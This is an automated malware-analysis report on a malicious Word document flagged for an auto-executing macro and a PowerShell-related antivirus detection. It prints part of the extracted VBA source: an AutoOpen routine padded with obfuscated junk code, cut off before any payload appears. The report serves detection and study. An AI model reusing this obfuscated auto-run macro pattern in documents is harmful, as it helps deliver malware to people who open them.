Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 45c3bacae6056254…

MALICIOUS

Office (OLE)

268.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: b5a57767e14a493c8f331f104b3f4dcf SHA-1: 6ced9963a6fa53f2dd585d5cded7980231577103 SHA-256: 45c3bacae60562548b41f64b6dd7d8a9974f68a628c770284bc3d44bd2d317ac
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a Microsoft Office document containing a legacy WordBasic AutoOpen macro, flagged by multiple heuristics. This macro is designed to execute automatically when the document is opened, indicating a likely attempt to run malicious code. The ClamAV detection further confirms its malicious nature. No specific family could be identified from the provided evidence.

Heuristics 5

  • ClamAV: Doc.Malware.Pwshell-6700199-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Pwshell-6700199-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 132066 bytes
SHA-256: 41441a0a1d4276e8122fa10f5925fc0c263e169eea23666a5015ce9738d5c967
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const lUHYpUtpAvAtIbEtQOLYXYKAKakyZEksEGijUKO = 0
Sub AutoOpen()
On Error Resume Next
Dim dIWExAzUbieCulOZizUVudEjeb(5)
Dim kLyFUFuEDormAWyWIbunAQepufy(5)

If LenB("raHOqAzixAGAJanemIjOmiF") < 56466 Then
kLyFUFuEDormAWyWIbunAQepufy(0) = VarType(Sqr(5646) + CInt("5646"))
End If
kLyFUFuEDormAWyWIbunAQepufy(1) = LTrim("raHOqAzixAGAJanemIjOmiF") & "66"
kLyFUFuEDormAWyWIbunAQepufy(2) = Day(56465646)

If Len("kLyFUFuEDormAWyWIbunAQepufy") < Len("raHOqAzixAGAJanemIjOmiF") Then
kLyFUFuEDormAWyWIbunAQepufy(3) = Weekday(56466)
End If

Dim TajiwezyjluCBaauHoReLYrIQEV(5)

If LenB("soqIGEDUQENiQ") < 35943 Then
TajiwezyjluCBaauHoReLYrIQEV(0) = VarType(Sqr(3594) + CInt("3594"))
End If
TajiwezyjluCBaauHoReLYrIQEV(1) = LTrim("soqIGEDUQENiQ") & "33"
TajiwezyjluCBaauHoReLYrIQEV(2) = Day(35943594)

If Len("TajiwezyjluCBaauHoReLYrIQEV") < Len("soqIGEDUQENiQ") Then
TajiwezyjluCBaauHoReLYrIQEV(3) = Weekday(35943)
End If
Dim lYiiBejezygOQUdYrYSixuVUlaCuZApWekeZ(5)

If LenB("GOfYBOWIMUtuQeNEje") < 490310 Then
lYiiBejezygOQUdYrYSixuVUlaCuZApWekeZ(0) = VarType(Sqr(4903) + CInt("4903"))
End If
lYiiBejezygOQUdYrYSixuVUlaCuZApWekeZ(1) = LTrim("GOfYBOWIMUtuQeNEje") & "1010"
lYiiBejezygOQUdYrYSixuVUlaCuZApWekeZ(2) = Day(49034903)

If Len("lYiiBejezygOQUdYrYSixuVUlaCuZApWekeZ") < Len("GOfYBOWIMUtuQeNEje") Then
lYiiBejezygOQUdYrYSixuVUlaCuZApWekeZ(3) = Weekday(490310)
End If
If LenB("LaGYpOrejEwI") < 95299 Then
Dim xlEiYqigOzHikyLAlNAnIFeqIgaJEJojecITuRAW(5)

If LenB("fEkHORarynUzEvetO") < 6108 Then
xlEiYqigOzHikyLAlNAnIFeqIgaJEJojecITuRAW(0) = VarType(Sqr(610) + CInt("610"))
End If
xlEiYqigOzHikyLAlNAnIFeqIgaJEJojecITuRAW(1) = LTrim("fEkHORarynUzEvetO") & "88"
xlEiYqigOzHikyLAlNAnIFeqIgaJEJojecITuRAW(2) = Day(610610)

If Len("xlEiYqigOzHikyLAlNAnIFeqIgaJEJojecITuRAW") < Len("fEkHORarynUzEvetO") Then
xlEiYqigOzHikyLAlNAnIFeqIgaJEJojecITuRAW(3) = Weekday(6108)
End If
Dim woToQyFoDyGeJOZOJaTqULRyRuauaAxahYTdENEW(5)

If LenB("quPoTONasEliRuVfOTcH") < 74378 Then
woToQyFoDyGeJOZOJaTqULRyRuauaAxahYTdENEW(0) = VarType(Sqr(7437) + CInt("7437"))
End If
woToQyFoDyGeJOZOJaTqULRyRuauaAxahYTdENEW(1) = LTrim("quPoTONasEliRuVfOTcH") & "88"
woToQyFoDyGeJOZOJaTqULRyRuauaAxahYTdENEW(2) = Day(74377437)

If Len("woToQyFoDyGeJOZOJaTqULRyRuauaAxahYTdENEW") < Len("quPoTONasEliRuVfOTcH") Then
woToQyFoDyGeJOZOJaTqULRyRuauaAxahYTdENEW(3) = Weekday(74378)
End If
dIWExAzUbieCulOZizUVudEjeb(0) = VarType(Sqr(9529) + CInt("9529"))
Dim xAzUnEOMHIHoXeloxicakGAzARybXYwuvITIvURIaY(5)

If LenB("SIForIWoKinOMaGUFUZe") < 98896 Then
xAzUnEOMHIHoXeloxicakGAzARybXYwuvITIvURIaY(0) = VarType(Sqr(9889) + CInt("9889"))
End If
xAzUnEOMHIHoXeloxicakGAzARybXYwuvITIvURIaY(1) = LTrim("SIForIWoKinOMaGUFUZe") & "66"
xAzUnEOMHIHoXeloxicakGAzARybXYwuvITIvURIaY(2) = Day(98899889)

If Len("xAzUnEOMHIHoXeloxicakGAzARybXYwuvITIvURIaY") < Len("SIForIWoKinOMaGUFUZe") Then
xAzUnEOMHIHoXeloxicakGAzARybXYwuvITIvURIaY(3) = Weekday(98896)
End If
Dim JAqUcoTesOvOKiwiWEgIQyucAqaCAWiij(5)

If LenB("tUVUKItOMUiFofcEQe") < 588710 Then
JAqUcoTesOvOKiwiWEgIQyucAqaCAWiij(0) = VarType(Sqr(5887) + CInt("5887"))
End If
JAqUcoTesOvOKiwiWEgIQyucAqaCAWiij(1) = LTrim("tUVUKItOMUiFofcEQe") & "1010"
JAqUcoTesOvOKiwiWEgIQyucAqaCAWiij(2) = Day(58875887)

If Len("JAqUcoTesOvOKiwiWEgIQyucAqaCAWiij") < Len("tUVUKItOMUiFofcEQe") Then
JAqUcoTesOvOKiwiWEgIQyucAqaCAWiij(3) = Weekday(588710)
End If
End If
dIWExAzUbieCulOZizUVudEjeb(1) = LTrim("LaGYpOrejEwI") & "99"
dIWExAzUbieCulOZizUVudEjeb(2) = Day(95299529)
Dim DAzupuMUCIMarAdELipuToMGUVInAgowYDZE(5)

If LenB("fiCyXIZBenaPuTIHArOVYi") < 34295 Then
DAzupuMUCIMarAdELipuToMGUVInAgowYDZE(0) = VarType(Sqr(3429) + CInt("3429"))
End If
DAzupuMUCIMarAdELipuToMGUVInAgowYDZE(1) = LTrim("fiCyXIZBenaPuTIHArOVYi") & "55"
DAzupuMUCIMa
... (truncated)